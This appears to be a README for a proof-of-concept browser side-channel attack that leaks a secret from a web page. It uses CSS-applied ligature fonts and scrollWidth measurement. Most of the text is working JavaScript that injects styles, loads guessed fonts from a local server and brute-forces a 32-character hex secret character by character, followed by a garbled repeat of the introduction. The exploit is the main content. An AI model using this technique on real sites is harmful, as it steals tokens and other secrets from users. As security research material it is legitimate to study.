By creating ligature fonts having large width, applying it to the secret and detecting the change of the scrollWidth property, the secret can be leaked.
The basic idea comes from https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/ by @securityMB.
- Visit my repository, download them locally and execute
npm install and node index.js
- Visit the demo using Chrome (Note: This trick should work on Firefox as well but my PoC does not work well.)
- Open console and run the code below
const defaultWidth = document.body.scrollWidth;
const secretChars = "0123456789abcdef";
let index = 0;
let foundChars = "";
const style = document.createElement('style');
document.body.appendChild(style);
style.innerHTML = `#PRIVATE {
font-size:0;
width:0;
word-wrap: break-word
}
#PRIVATE::first-line {
font-family:hack;
font-size:100px
}`;
document.fonts.addEventListener("loadingdone", (event) => {
if (defaultWidth < document.body.scrollWidth) {
foundChars += secretChars[index];
console.log(`Found: ${foundChars}`);
index = 0;
} else {
index++;
}
document.fonts.delete(event.fontfaces[0]);
if (foundChars.length === 32) {
alert(foundChars);
} else {
loadFont(`${foundChars}${secretChars[index]}`);
}
});
const loadFont = target => {
const font = new FontFace("hack", `url(http://localhost:3000/?target=${target})`);
document.fonts.add(font);
};
loadFont(secretChars[index]);
By creating ligature fonts having large width, applying it to the secret and detecting the change of the
scrollWidthproperty, the secret can be leaked.The basic idea comes from https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/ by @securityMB.
npm installandnode index.js